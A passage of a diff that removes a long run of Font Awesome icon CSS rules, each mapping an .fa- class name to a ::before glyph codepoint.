-.fa-face-grin::before {
- content: "\f580"; }
-
-.fa-grin::before {
- content: "\f580"; }
-
-.fa-delete-left::before {
- content: "\f55a"; }
-
-.fa-backspace::before {
- content: "\f55a"; }
-
-.fa-eye-dropper::before {
- content: "\f1fb"; }
-
-.fa-eye-dropper-empty::before {
- content: "\f1fb"; }
-
-.fa-eyedropper::before {
- content: "\f1fb"; }
-
-.fa-file-circle-check::before {
- content: "\e5a0"; }
-
-.fa-forward::before {
- content: "\f04e"; }
-
-.fa-mobile::before {
- content: "\f3ce"; }
-
-.fa-mobile-android::before {
- content: "\f3ce"; }
-
-.fa-mobile-phone::before {
- content: "\f3ce"; }
-
-.fa-face-meh::before {
- content: "\f11a"; }
-
-.fa-meh::before {
- content: "\f11a"; }
-
-.fa-align-center::before {
- content: "\f037"; }
-
-.fa-book-skull::before {
- content: "\f6b7"; }
-
-.fa-book-dead::before {
- content: "\f6b7"; }
-
-.fa-id-card::before {
- content: "\f2c2"; }
-
-.fa-drivers-license::before {
- content: "\f2c2"; }
-
-.fa-outdent::before {
- content: "\f03b"; }
-
-.fa-dedent::before {
- content: "\f03b"; }
-
-.fa-heart-circle-exclamation::before {
- content: "\e4fe"; }
-
-.fa-house::before {
- content: "\f015"; }
-
-.fa-home::before {
- content: "\f015"; }
-
-.fa-home-alt::before {
- content: "\f015"; }
-
-.fa-home-lg-alt::before {
- content: "\f015"; }
-
-.fa-calendar-week::before {
- content: "\f784"; }
-
-.fa-laptop-medical::before {
- content: "\f812"; }
-
-.fa-b::before {
- content: "\42"; }
-
-.fa-file-medical::before {
- content: "\f477"; }
-
-.fa-dice-one::before {
- content: "\f525"; }
-
-.fa-kiwi-bird::before {
- content: "\f535"; }
-
-.fa-arrow-right-arrow-left::before {
- content: "\f0ec"; }
-
-.fa-exchange::before {
- content: "\f0ec"; }
-
-.fa-rotate-right::before {
- content: "\f2f9"; }
-
-.fa-redo-alt::before {
- content: "\f2f9"; }
-
-.fa-rotate-forward::before {
- content: "\f2f9"; }
-
-.fa-utensils::before {
- content: "\f2e7"; }
-
-.fa-cutlery::before {
- content: "\f2e7"; }
-
-.fa-arrow-up-wide-short::before {
- content: "\f161"; }
-
-.fa-sort-amount-up::before {
- content: "\f161"; }
-
-.fa-mill-sign::before {
- content: "\e1ed"; }
-
-.fa-bowl-rice::before {
- content: "\e2eb"; }
-
-.fa-skull::before {
- content: "\f54c"; }
-
-.fa-tower-broadcast::before {
- content: "\f519"; }
-
-.fa-broadcast-tower::before {
- content: "\f519"; }
-
-.fa-truck-pickup::before {
- content: "\f63c"; }
-
-.fa-up-long::before {
- content: "\f30c"; }
-
-.fa-long-arrow-alt-up::before {
- content: "\f30c"; }
-
-.fa-stop::before {
- content: "\f04d"; }
-
-.fa-code-merge::before {
- content: "\f387"; }
-
-.fa-upload::before {
- content: "\f093"; }
-
-.fa-hurricane::before {
- content: "\f751"; }
-
-.fa-mound::before {
- content: "\e52d"; }
-
-.fa-toilet-portable::before {
- content: "\e583"; }
-
-.fa-compact-disc::before {
- content: "\f51f"; }
-
-.fa-file-arrow-down::before {
- content: "\f56d"; }
-
-.fa-file-download::before {
- content: "\f56d"; }
-
-.fa-caravan::before {
- content: "\f8ff"; }
-
-.fa-shield-cat::before {
- content: "\e572"; }
-
-.fa-bolt::before {
- content: "\f0e7"; }
-
-.fa-zap::before {
- content: "\f0e7"; }
-
-.fa-glass-water::before {
- content: "\e4f4"; }
-
-.fa-oil-well::before {
- content: "\e532"; }
-
-.fa-vault::before {
- content: "\e2c5"; }
-
-.fa-mars::before {
- content: "\f222"; }
-
-.fa-toilet::before {
- content: "\f7d8"; }
-
-.fa-plane-circle-xmark::before {
- content: "\e557"; }
-
-.fa-yen-sign::before {
- content: "\f157"; }
-
-.fa-cny::before {
- content: "\f157"; }
-
-.fa-jpy::before {
- content: "\f157"; }
-
-.fa-rmb::before {
- content: "\f157"; }
-
-.fa-yen::before {
- content: "\f157"; }
-
-.fa-ruble-sign::before {
- content: "\f158"; }
-
-.fa-rouble::before {
- content: "\f158"; }
-
-.fa-rub::before {
- content: "\f158"; }
-
-.fa-ruble::before {
- content: "\f158"; }
-
-.fa-sun::before {
- content: "\f185"; }
-
-.fa-guitar::before {
- content: "\f7a6"; }
-
-.fa-face-laugh-wink::before {
- content: "\f59c"; }
-
-.fa-laugh-wink::before {
- content: "\f59c"; }
-
-.fa-horse-head::before {
- content: "\f7ab"; }
-
-.fa-bore-hole::before {
- content: "\e4c3"; }
-
-.fa-industry::before {
- content: "\f275"; }
-
-.fa-circle-down::before {
- content: "\f358"; }
-
-.fa-arrow-alt-circle-down::before {
- content: "\f358"; }
-
-.fa-arrows-turn-to-dots::before {
- content: "\e4c1"; }
-
-.fa-florin-sign::before {
- content: "\e184"; }
-
-.fa-arrow-down-short-wide::before {
- content: "\f884"; }
-
-.fa-sort-amount-desc::before {
- content: "\f884"; }
-
-.fa-sort-amount-down-alt::before {
- content: "\f884"; }
-
-.fa-less-than::before {
- content: "\3c"; }
-
-.fa-angle-down::before {
- content: "\f107"; }
-
-.fa-car-tunnel::before {
- content: "\e4de"; }
-
-.fa-head-side-cough::before {
- content: "\e061"; }
-
-.fa-grip-lines::before {
- content: "\f7a4"; }
-
-.fa-thumbs-down::before {
- content: "\f165"; }
-
-.fa-user-lock::before {
- content: "\f502"; }
-
-.fa-arrow-right-long::before {
- content: "\f178"; }
-
-.fa-long-arrow-right::before {
- content: "\f178"; }
-
-.fa-anchor-circle-xmark::before {
- content: "\e4ac"; }
-
-.fa-ellipsis::before {
- content: "\f141"; }
-
-.fa-ellipsis-h::before {
- content: "\f141"; }
-
-.fa-chess-pawn::before {
- content: "\f443"; }
-
-.fa-kit-medical::before {
- content: "\f479"; }
-
-.fa-first-aid::before {
- content: "\f479"; }
-
-.fa-person-through-window::before {
- content: "\e5a9"; }
-
-.fa-toolbox::before {
- content: "\f552"; }
-
-.fa-hands-holding-circle::before {
- content: "\e4fb"; }
-
-.fa-bug::before {
- content: "\f188"; }
-
-.fa-credit-card::before {
- content: "\f09d"; }
-
-.fa-credit-card-alt::before {
- content: "\f09d"; }
-
-.fa-car::before {
- content: "\f1b9"; }
-
-.fa-automobile::before {
- content: "\f1b9"; }
-
-.fa-hand-holding-hand::before {
- content: "\e4f7"; }
-
-.fa-book-open-reader::before {
- content: "\f5da"; }
-
-.fa-book-reader::before {
- content: "\f5da"; }
-
-.fa-mountain-sun::before {
- content: "\e52f"; }
-
-.fa-arrows-left-right-to-line::before {
- content: "\e4ba"; }
-
-.fa-dice-d20::before {
- content: "\f6cf"; }
-
-.fa-truck-droplet::before {
- content: "\e58c"; }
-
-.fa-file-circle-xmark::before {
- content: "\e5a1"; }
-
-.fa-temperature-arrow-up::before {
- content: "\e040"; }
-
-.fa-temperature-up::before {
- content: "\e040"; }
-
-.fa-medal::before {
- content: "\f5a2"; }
-
-.fa-bed::before {
- content: "\f236"; }
-
-.fa-square-h::before {
- content: "\f0fd"; }
-
-.fa-h-square::before {
- content: "\f0fd"; }
-
-.fa-podcast::before {
- content: "\f2ce"; }
-
-.fa-temperature-full::before {
- content: "\f2c7"; }
-
-.fa-temperature-4::before {
- content: "\f2c7"; }
-
-.fa-thermometer-4::before {
- content: "\f2c7"; }
-
-.fa-thermometer-full::before {
- content: "\f2c7"; }
-
-.fa-bell::before {
- content: "\f0f3"; }
-
-.fa-superscript::before {
- content: "\f12b"; }
-
-.fa-plug-circle-xmark::before {
- content: "\e560"; }
-
-.fa-star-of-life::before {
- content: "\f621"; }
-
-.fa-phone-slash::before {
- content: "\f3dd"; }
-
-.fa-paint-roller::before {
- content: "\f5aa"; }
-
-.fa-handshake-angle::before {
- content: "\f4c4"; }
-
-.fa-hands-helping::before {
- content: "\f4c4"; }
-
-.fa-location-dot::before {
- content: "\f3c5"; }
-
-.fa-map-marker-alt::before {
- content: "\f3c5"; }
-
-.fa-file::before {
- content: "\f15b"; }
-
-.fa-greater-than::before {
- content: "\3e"; }
-
-.fa-person-swimming::before {
- content: "\f5c4"; }
-
-.fa-swimmer::before {
- content: "\f5c4"; }
-
-.fa-arrow-down::before {
- content: "\f063"; }
-
-.fa-droplet::before {
- content: "\f043"; }
-
-.fa-tint::before {
- content: "\f043"; }
-
-.fa-eraser::before {
- content: "\f12d"; }
-
-.fa-earth-americas::before {
- content: "\f57d"; }
-
-.fa-earth::before {
- content: "\f57d"; }
-
-.fa-earth-america::before {
- content: "\f57d"; }
-
-.fa-globe-americas::before {
- content: "\f57d"; }
-
-.fa-person-burst::before {
- content: "\e53b"; }
-
-.fa-dove::before {
- content: "\f4ba"; }
-
-.fa-battery-empty::before {
- content: "\f244"; }
-
-.fa-battery-0::before {
- content: "\f244"; }
-
-.fa-socks::before {
- content: "\f696"; }
-
-.fa-inbox::before {
- content: "\f01c"; }
-
-.fa-section::before {
- content: "\e447"; }
-
-.fa-gauge-high::before {
- content: "\f625"; }
-
-.fa-tachometer-alt::before {
- content: "\f625"; }
-
-.fa-tachometer-alt-fast::before {
- content: "\f625"; }
-
-.fa-envelope-open-text::before {
- content: "\f658"; }
-
-.fa-hospital::before {
- content: "\f0f8"; }
-
-.fa-hospital-alt::before {
- content: "\f0f8"; }
-
-.fa-hospital-wide::before {
- content: "\f0f8"; }
-
-.fa-wine-bottle::before {
- content: "\f72f"; }
-
-.fa-chess-rook::before {
- content: "\f447"; }
-
-.fa-bars-staggered::before {
- content: "\f550"; }
-
-.fa-reorder::before {
- content: "\f550"; }
-
-.fa-stream::before {
- content: "\f550"; }
-
-.fa-dharmachakra::before {
- content: "\f655"; }
-
-.fa-hotdog::before {
- content: "\f80f"; }
-
-.fa-person-walking-with-cane::before {
- content: "\f29d"; }
-
-.fa-blind::before {
- content: "\f29d"; }
-
-.fa-drum::before {
- content: "\f569"; }
-
-.fa-ice-cream::before {
- content: "\f810"; }
-
-.fa-heart-circle-bolt::before {
- content: "\e4fc"; }
-
-.fa-fax::before {
- content: "\f1ac"; }
-
-.fa-paragraph::before {
- content: "\f1dd"; }
-
-.fa-check-to-slot::before {
- content: "\f772"; }
-
-.fa-vote-yea::before {
- content: "\f772"; }
-
-.fa-star-half::before {
- content: "\f089"; }
-
-.fa-boxes-stacked::before {
- content: "\f468"; }
-
-.fa-boxes::before {
- content: "\f468"; }
-
-.fa-boxes-alt::before {
- content: "\f468"; }
-
-.fa-link::before {
- content: "\f0c1"; }
-
-.fa-chain::before {
- content: "\f0c1"; }
-
-.fa-ear-listen::before {
- content: "\f2a2"; }
-
-.fa-assistive-listening-systems::before {
- content: "\f2a2"; }
-
-.fa-tree-city::before {
- content: "\e587"; }
-
-.fa-play::before {
- content: "\f04b"; }
-
-.fa-font::before {
- content: "\f031"; }
-
-.fa-table-cells-row-lock::before {
- content: "\e67a"; }
-
-.fa-rupiah-sign::before {
- content: "\e23d"; }
-
-.fa-magnifying-glass::before {
- content: "\f002"; }
-
-.fa-search::before {
- content: "\f002"; }
-
-.fa-table-tennis-paddle-ball::before {
- content: "\f45d"; }
-
-.fa-ping-pong-paddle-ball::before {
- content: "\f45d"; }
-
-.fa-table-tennis::before {
- content: "\f45d"; }
-
-.fa-person-dots-from-line::before {
- content: "\f470"; }
-
-.fa-diagnoses::before {
- content: "\f470"; }
-
-.fa-trash-can-arrow-up::before {
- content: "\f82a"; }
-
-.fa-trash-restore-alt::before {
- content: "\f82a"; }
-
-.fa-naira-sign::before {
- content: "\e1f6"; }
-
-.fa-cart-arrow-down::before {
- content: "\f218"; }
-
-.fa-walkie-talkie::before {
- content: "\f8ef"; }
-
-.fa-file-pen::before {
- content: "\f31c"; }
-
-.fa-file-edit::before {
- content: "\f31c"; }
-
-.fa-receipt::before {
- content: "\f543"; }
-
-.fa-square-pen::before {
- content: "\f14b"; }
-
-.fa-pen-square::before {
- content: "\f14b"; }
-
-.fa-pencil-square::before {
- content: "\f14b"; }
-
-.fa-suitcase-rolling::before {
- content: "\f5c1"; }
-
-.fa-person-circle-exclamation::before {
- content: "\e53f"; }
-
-.fa-chevron-down::before {
- content: "\f078"; }
-
-.fa-battery-full::before {
- content: "\f240"; }
-
-.fa-battery::before {
- content: "\f240"; }
-
-.fa-battery-5::before {
- content: "\f240"; }
-
-.fa-skull-crossbones::before {
- content: "\f714"; }
-
-.fa-code-compare::before {
- content: "\e13a"; }
-
-.fa-list-ul::before {
- content: "\f0ca"; }
-
-.fa-list-dots::before {
- content: "\f0ca"; }
-
-.fa-school-lock::before {
- content: "\e56f"; }
-
-.fa-tower-cell::before {
- content: "\e585"; }
-
-.fa-down-long::before {
- content: "\f309"; }
-
-.fa-long-arrow-alt-down::before {
- content: "\f309"; }
-
-.fa-ranking-star::before {
- content: "\e561"; }
-
-.fa-chess-king::before {
- content: "\f43f"; }
-
-.fa-person-harassing::before {
- content: "\e549"; }
-
-.fa-brazilian-real-sign::before {
- content: "\e46c"; }
-
-.fa-landmark-dome::before {
- content: "\f752"; }
-
-.fa-landmark-alt::before {
- content: "\f752"; }
-
-.fa-arrow-up::before {
- content: "\f062"; }
-
-.fa-tv::before {
- content: "\f26c"; }
-
-.fa-television::before {
- content: "\f26c"; }
-
-.fa-tv-alt::before {
- content: "\f26c"; }
-
-.fa-shrimp::before {
- content: "\e448"; }
-
-.fa-list-check::before {
- content: "\f0ae"; }
-
-.fa-tasks::before {
- content: "\f0ae"; }
-
-.fa-jug-detergent::before {
- content: "\e519"; }
-
-.fa-circle-user::before {
- content: "\f2bd"; }
-
-.fa-user-circle::before {
- content: "\f2bd"; }
-
-.fa-user-shield::before {
- content: "\f505"; }
-
-.fa-wind::before {
- content: "\f72e"; }
-
-.fa-car-burst::before {
- content: "\f5e1"; }
-
-.fa-car-crash::before {
- content: "\f5e1"; }
-
-.fa-y::before {
- content: "\59"; }
-
-.fa-person-snowboarding::before {
- content: "\f7ce"; }
-
-.fa-snowboarding::before {
- content: "\f7ce"; }
-
-.fa-truck-fast::before {
- content: "\f48b"; }
-
-.fa-shipping-fast::before {
- content: "\f48b"; }
-
-.fa-fish::before {
- content: "\f578"; }
-
-.fa-user-graduate::before {
- content: "\f501"; }
-
-.fa-circle-half-stroke::before {
- content: "\f042"; }
-
-.fa-adjust::before {
- content: "\f042"; }
-
-.fa-clapperboard::before {
- content: "\e131"; }
-
-.fa-circle-radiation::before {
- content: "\f7ba"; }
-
-.fa-radiation-alt::before {
- content: "\f7ba"; }
-
-.fa-baseball::before {
- content: "\f433"; }
-
-.fa-baseball-ball::before {
- content: "\f433"; }
-
-.fa-jet-fighter-up::before {
- content: "\e518"; }
-
-.fa-diagram-project::before {
- content: "\f542"; }
-
-.fa-project-diagram::before {
- content: "\f542"; }
-
-.fa-copy::before {
- content: "\f0c5"; }
-
-.fa-volume-xmark::before {
- content: "\f6a9"; }
-
-.fa-volume-mute::before {
- content: "\f6a9"; }
-
-.fa-volume-times::before {
- content: "\f6a9"; }
-
-.fa-hand-sparkles::before {
- content: "\e05d"; }
-
-.fa-grip::before {
- content: "\f58d"; }
-
-.fa-grip-horizontal::before {
- content: "\f58d"; }
-
-.fa-share-from-square::before {
- content: "\f14d"; }
-
-.fa-share-square::before {
- content: "\f14d"; }
-
-.fa-child-combatant::before {
- content: "\e4e0"; }
-
-.fa-child-rifle::before {
- content: "\e4e0"; }
-
-.fa-gun::before {
- content: "\e19b"; }
-
-.fa-square-phone::before {
- content: "\f098"; }
-
-.fa-phone-square::before {
- content: "\f098"; }
-
-.fa-plus::before {
- content: "\2b"; }
-
-.fa-add::before {
- content: "\2b"; }
-
-.fa-expand::before {
- content: "\f065"; }
-
-.fa-computer::before {
- content: "\e4e5"; }
-
-.fa-xmark::before {
- content: "\f00d"; }
-
-.fa-close::before {
- content: "\f00d"; }
-
-.fa-multiply::before {
- content: "\f00d"; }
-
-.fa-remove::before {
- content: "\f00d"; }
-
-.fa-times::before {
- content: "\f00d"; }
-
-.fa-arrows-up-down-left-right::before {
- content: "\f047"; }
-
-.fa-arrows::before {
- content: "\f047"; }
-
-.fa-chalkboard-user::before {
- content: "\f51c"; }
-
-.fa-chalkboard-teacher::before {
- content: "\f51c"; }
-
-.fa-peso-sign::before {
- content: "\e222"; }
-
-.fa-building-shield::before {
- content: "\e4d8"; }
-
-.fa-baby::before {
- content: "\f77c"; }
-
-.fa-users-line::before {
- content: "\e592"; }
-
-.fa-quote-left::before {
- content: "\f10d"; }
-
-.fa-quote-left-alt::before {
- content: "\f10d"; }
-
-.fa-tractor::before {
- content: "\f722"; }
-
-.fa-trash-arrow-up::before {
- content: "\f829"; }
-
-.fa-trash-restore::before {
- content: "\f829"; }
-
-.fa-arrow-down-up-lock::before {
- content: "\e4b0"; }
-
-.fa-lines-leaning::before {
- content: "\e51e"; }
-
-.fa-ruler-combined::before {
- content: "\f546"; }
-
-.fa-copyright::before {
- content: "\f1f9"; }
-
-.fa-equals::before {
- content: "\3d"; }
-
-.fa-blender::before {
- content: "\f517"; }
-
-.fa-teeth::before {
- content: "\f62e"; }
-
-.fa-shekel-sign::before {
- content: "\f20b"; }
-
-.fa-ils::before {
- content: "\f20b"; }
-
-.fa-shekel::before {
- content: "\f20b"; }
-
-.fa-sheqel::before {
- content: "\f20b"; }
-
-.fa-sheqel-sign::before {
- content: "\f20b"; }
-
-.fa-map::before {
- content: "\f279"; }
-
-.fa-rocket::before {
- content: "\f135"; }
-
-.fa-photo-film::before {
- content: "\f87c"; }
-
-.fa-photo-video::before {
- content: "\f87c"; }
-
-.fa-folder-minus::before {
- content: "\f65d"; }
-
-.fa-store::before {
- content: "\f54e"; }
-
-.fa-arrow-trend-up::before {
- content: "\e098"; }
-
-.fa-plug-circle-minus::before {
- content: "\e55e"; }
-
-.fa-sign-hanging::before {
- content: "\f4d9"; }
-
-.fa-sign::before {
- content: "\f4d9"; }
-
-.fa-bezier-curve::before {
- content: "\f55b"; }
-
-.fa-bell-slash::before {
- content: "\f1f6"; }
-
-.fa-tablet::before {
- content: "\f3fb"; }
-
-.fa-tablet-android::before {
- content: "\f3fb"; }
-
-.fa-school-flag::before {
- content: "\e56e"; }
-
-.fa-fill::before {
- content: "\f575"; }
-
-.fa-angle-up::before {
- content: "\f106"; }
-
-.fa-drumstick-bite::before {
- content: "\f6d7"; }
-
-.fa-holly-berry::before {
- content: "\f7aa"; }
-
-.fa-chevron-left::before {
- content: "\f053"; }
-
-.fa-bacteria::before {
- content: "\e059"; }
-
-.fa-hand-lizard::before {
- content: "\f258"; }
-
-.fa-notdef::before {
- content: "\e1fe"; }
-
-.fa-disease::before {
- content: "\f7fa"; }
-
-.fa-briefcase-medical::before {
- content: "\f469"; }
-
-.fa-genderless::before {
- content: "\f22d"; }
-
-.fa-chevron-right::before {
- content: "\f054"; }
-
-.fa-retweet::before {
- content: "\f079"; }
-
-.fa-car-rear::before {
- content: "\f5de"; }
-
-.fa-car-alt::before {
- content: "\f5de"; }
-
-.fa-pump-soap::before {
- content: "\e06b"; }
-
-.fa-video-slash::before {
- content: "\f4e2"; }
-
-.fa-battery-quarter::before {
- content: "\f243"; }
-
-.fa-battery-2::before {
- content: "\f243"; }
-
-.fa-radio::before {
- content: "\f8d7"; }
-
-.fa-baby-carriage::before {
- content: "\f77d"; }
-
-.fa-carriage-baby::before {
- content: "\f77d"; }
-
-.fa-traffic-light::before {
- content: "\f637"; }
-
-.fa-thermometer::before {
- content: "\f491"; }
-
-.fa-vr-cardboard::before {
- content: "\f729"; }
-
-.fa-hand-middle-finger::before {
- content: "\f806"; }
-
-.fa-percent::before {
- content: "\25"; }
-
-.fa-percentage::before {
- content: "\25"; }
-
-.fa-truck-moving::before {
- content: "\f4df"; }
-
-.fa-glass-water-droplet::before {
- content: "\e4f5"; }
-
-.fa-display::before {
- content: "\e163"; }
-
-.fa-face-smile::before {
- content: "\f118"; }
-
-.fa-smile::before {
- content: "\f118"; }
-
-.fa-thumbtack::before {
- content: "\f08d"; }
-
-.fa-thumb-tack::before {
- content: "\f08d"; }
-
-.fa-trophy::before {
- content: "\f091"; }
-
-.fa-person-praying::before {
- content: "\f683"; }
-
-.fa-pray::before {
- content: "\f683"; }
-
-.fa-hammer::before {
- content: "\f6e3"; }
-
-.fa-hand-peace::before {
- content: "\f25b"; }
-
-.fa-rotate::before {
- content: "\f2f1"; }
-
-.fa-sync-alt::before {
- content: "\f2f1"; }
-
-.fa-spinner::before {
- content: "\f110"; }
-
-.fa-robot::before {
- content: "\f544"; }
-
-.fa-peace::before {
- content: "\f67c"; }
-
-.fa-gears::before {
- content: "\f085"; }
-
-.fa-cogs::before {
- content: "\f085"; }
-
-.fa-warehouse::before {
- content: "\f494"; }
-
-.fa-arrow-up-right-dots::before {
- content: "\e4b7"; }
-
-.fa-splotch::before {
- content: "\f5bc"; }
-
-.fa-face-grin-hearts::before {
- content: "\f584"; }
-
-.fa-grin-hearts::before {
- content: "\f584"; }
-
-.fa-dice-four::before {
- content: "\f524"; }
-
-.fa-sim-card::before {
- content: "\f7c4"; }
-
-.fa-transgender::before {
- content: "\f225"; }
-
-.fa-transgender-alt::before {
- content: "\f225"; }
-
-.fa-mercury::before {
- content: "\f223"; }
-
-.fa-arrow-turn-down::before {
- content: "\f149"; }
-
-.fa-level-down::before {
- content: "\f149"; }
-
-.fa-person-falling-burst::before {
- content: "\e547"; }
-
-.fa-award::before {
- content: "\f559"; }
-
-.fa-ticket-simple::before {
- content: "\f3ff"; }
-
-.fa-ticket-alt::before {
- content: "\f3ff"; }
-
-.fa-building::before {
- content: "\f1ad"; }
-
-.fa-angles-left::before {
- content: "\f100"; }
-
-.fa-angle-double-left::before {
- content: "\f100"; }
-
-.fa-qrcode::before {
- content: "\f029"; }
-
-.fa-clock-rotate-left::before {
- content: "\f1da"; }
-
-.fa-history::before {
- content: "\f1da"; }
-
-.fa-face-grin-beam-sweat::before {
- content: "\f583"; }
-
-.fa-grin-beam-sweat::before {
- content: "\f583"; }
-
-.fa-file-export::before {
- content: "\f56e"; }
-
-.fa-arrow-right-from-file::before {
- content: "\f56e"; }
-
-.fa-shield::before {
- content: "\f132"; }
-
-.fa-shield-blank::before {
- content: "\f132"; }
-
-.fa-arrow-up-short-wide::before {
- content: "\f885"; }
-
-.fa-sort-amount-up-alt::before {
- content: "\f885"; }
-
-.fa-house-medical::before {
- content: "\e3b2"; }
-
-.fa-golf-ball-tee::before {
- content: "\f450"; }
-
-.fa-golf-ball::before {
- content: "\f450"; }
-
-.fa-circle-chevron-left::before {
- content: "\f137"; }
-
-.fa-chevron-circle-left::before {
- content: "\f137"; }
-
-.fa-house-chimney-window::before {
- content: "\e00d"; }
-
-.fa-pen-nib::before {
- content: "\f5ad"; }
-
-.fa-tent-arrow-turn-left::before {
- content: "\e580"; }
-
-.fa-tents::before {
- content: "\e582"; }
-
-.fa-wand-magic::before {
- content: "\f0d0"; }
-
-.fa-magic::before {
- content: "\f0d0"; }
-
-.fa-dog::before {
- content: "\f6d3"; }
-
-.fa-carrot::before {
- content: "\f787"; }
-
-.fa-moon::before {
- content: "\f186"; }
-
-.fa-wine-glass-empty::before {
- content: "\f5ce"; }
-
-.fa-wine-glass-alt::before {
- content: "\f5ce"; }
-
-.fa-cheese::before {
- content: "\f7ef"; }
-
-.fa-yin-yang::before {
- content: "\f6ad"; }
-
-.fa-music::before {
- content: "\f001"; }
-
-.fa-code-commit::before {
- content: "\f386"; }
-
-.fa-temperature-low::before {
- content: "\f76b"; }
-
-.fa-person-biking::before {
- content: "\f84a"; }
-
-.fa-biking::before {
- content: "\f84a"; }
-
-.fa-broom::before {
- content: "\f51a"; }
-
-.fa-shield-heart::before {
- content: "\e574"; }
-
-.fa-gopuram::before {
- content: "\f664"; }
-
-.fa-earth-oceania::before {
- content: "\e47b"; }
-
-.fa-globe-oceania::before {
- content: "\e47b"; }
-
-.fa-square-xmark::before {
- content: "\f2d3"; }
-
-.fa-times-square::before {
- content: "\f2d3"; }
-
-.fa-xmark-square::before {
- content: "\f2d3"; }
-
-.fa-hashtag::before {
- content: "\23"; }
-
-.fa-up-right-and-down-left-from-center::before {
- content: "\f424"; }
-
-.fa-expand-alt::before {
- content: "\f424"; }
-
-.fa-oil-can::before {
- content: "\f613"; }
-
-.fa-t::before {
- content: "\54"; }
-
-.fa-hippo::before {
- content: "\f6ed"; }
-
-.fa-chart-column::before {
- content: "\e0e3"; }
-
-.fa-infinity::before {
- content: "\f534"; }
-
-.fa-vial-circle-check::before {
- content: "\e596"; }
-
-.fa-person-arrow-down-to-line::before {
- content: "\e538"; }
-
-.fa-voicemail::before {
- content: "\f897"; }
-
-.fa-fan::before {
- content: "\f863"; }
-
-.fa-person-walking-luggage::before {
- content: "\e554"; }
-
-.fa-up-down::before {
- content: "\f338"; }
-
-.fa-arrows-alt-v::before {
- content: "\f338"; }
-
-.fa-cloud-moon-rain::before {
- content: "\f73c"; }
-
-.fa-calendar::before {
- content: "\f133"; }
-
-.fa-trailer::before {
- content: "\e041"; }
-
-.fa-bahai::before {
- content: "\f666"; }
-
-.fa-haykal::before {
- content: "\f666"; }
-
-.fa-sd-card::before {
- content: "\f7c2"; }
-
-.fa-dragon::before {
- content: "\f6d5"; }
-
-.fa-shoe-prints::before {
- content: "\f54b"; }
-
-.fa-circle-plus::before {
- content: "\f055"; }
-
-.fa-plus-circle::before {
- content: "\f055"; }
-
-.fa-face-grin-tongue-wink::before {
- content: "\f58b"; }
-
-.fa-grin-tongue-wink::before {
- content: "\f58b"; }
-
-.fa-hand-holding::before {
- content: "\f4bd"; }
-
-.fa-plug-circle-exclamation::before {
- content: "\e55d"; }
-
-.fa-link-slash::before {
- content: "\f127"; }
-
-.fa-chain-broken::before {
- content: "\f127"; }
-
-.fa-chain-slash::before {
- content: "\f127"; }
-
-.fa-unlink::before {
- content: "\f127"; }
-
-.fa-clone::before {
- content: "\f24d"; }
-
-.fa-person-walking-arrow-loop-left::before {
- content: "\e551"; }
-
-.fa-arrow-up-z-a::before {
- content: "\f882"; }
-
-.fa-sort-alpha-up-alt::before {
- content: "\f882"; }
-
-.fa-fire-flame-curved::before {
- content: "\f7e4"; }
-
-.fa-fire-alt::before {
- content: "\f7e4"; }
-
-.fa-tornado::before {
- content: "\f76f"; }
-
-.fa-file-circle-plus::before {
- content: "\e494"; }
-
-.fa-book-quran::before {
- content: "\f687"; }
-
-.fa-quran::before {
- content: "\f687"; }
-
-.fa-anchor::before {
- content: "\f13d"; }
-
-.fa-border-all::before {
- content: "\f84c"; }
-
-.fa-face-angry::before {
- content: "\f556"; }
-
-.fa-angry::before {
- content: "\f556"; }
-
-.fa-cookie-bite::before {
- content: "\f564"; }
-
-.fa-arrow-trend-down::before {
- content: "\e097"; }
-
-.fa-rss::before {
- content: "\f09e"; }
-
-.fa-feed::before {
- content: "\f09e"; }
-
-.fa-draw-polygon::before {
- content: "\f5ee"; }
-
-.fa-scale-balanced::before {
- content: "\f24e"; }
-
-.fa-balance-scale::before {
- content: "\f24e"; }
-
-.fa-gauge-simple-high::before {
- content: "\f62a"; }
-
-.fa-tachometer::before {
- content: "\f62a"; }
-
-.fa-tachometer-fast::before {
- content: "\f62a"; }
-
-.fa-shower::before {
- content: "\f2cc"; }
-
-.fa-desktop::before {
- content: "\f390"; }
-
-.fa-desktop-alt::before {
- content: "\f390"; }
-
-.fa-m::before {
- content: "\4d"; }
-
-.fa-table-list::before {
- content: "\f00b"; }
-
-.fa-th-list::before {
- content: "\f00b"; }
-
-.fa-comment-sms::before {
- content: "\f7cd"; }
-
-.fa-sms::before {
- content: "\f7cd"; }
-
-.fa-book::before {
- content: "\f02d"; }
-
-.fa-user-plus::before {
- content: "\f234"; }
-
-.fa-check::before {
- content: "\f00c"; }
-
-.fa-battery-three-quarters::before {
- content: "\f241"; }
-
-.fa-battery-4::before {
- content: "\f241"; }
-
-.fa-house-circle-check::before {
- content: "\e509"; }
-
-.fa-angle-left::before {
- content: "\f104"; }
-
-.fa-diagram-successor::before {
- content: "\e47a"; }
-
-.fa-truck-arrow-right::before {
- content: "\e58b"; }
-
-.fa-arrows-split-up-and-left::before {
- content: "\e4bc"; }
-
-.fa-hand-fist::before {
- content: "\f6de"; }
-
-.fa-fist-raised::before {
- content: "\f6de"; }
-
-.fa-cloud-moon::before {
- content: "\f6c3"; }
-
-.fa-briefcase::before {
- content: "\f0b1"; }
-
-.fa-person-falling::before {
- content: "\e546"; }
-
-.fa-image-portrait::before {
- content: "\f3e0"; }
-
-.fa-portrait::before {
- content: "\f3e0"; }
-
-.fa-user-tag::before {
- content: "\f507"; }
-
-.fa-rug::before {
- content: "\e569"; }
-
-.fa-earth-europe::before {
- content: "\f7a2"; }
-
-.fa-globe-europe::before {
- content: "\f7a2"; }
-
-.fa-cart-flatbed-suitcase::before {
- content: "\f59d"; }
-
-.fa-luggage-cart::before {
- content: "\f59d"; }
-
-.fa-rectangle-xmark::before {
- content: "\f410"; }
-
-.fa-rectangle-times::before {
- content: "\f410"; }
-
-.fa-times-rectangle::before {
- content: "\f410"; }
-
-.fa-window-close::before {
- content: "\f410"; }
-
-.fa-baht-sign::before {
- content: "\e0ac"; }
-
-.fa-book-open::before {
- content: "\f518"; }
-
-.fa-book-journal-whills::before {
- content: "\f66a"; }
-
-.fa-journal-whills::before {
- content: "\f66a"; }
-
-.fa-handcuffs::before {
- content: "\e4f8"; }
-
-.fa-triangle-exclamation::before {
- content: "\f071"; }
-
-.fa-exclamation-triangle::before {
- content: "\f071"; }
-
-.fa-warning::before {
- content: "\f071"; }
-
-.fa-database::before {
- content: "\f1c0"; }
-
-.fa-share::before {
- content: "\f064"; }
-
-.fa-mail-forward::before {
- content: "\f064"; }
-
-.fa-bottle-droplet::before {
- content: "\e4c4"; }
-
-.fa-mask-face::before {
- content: "\e1d7"; }
-
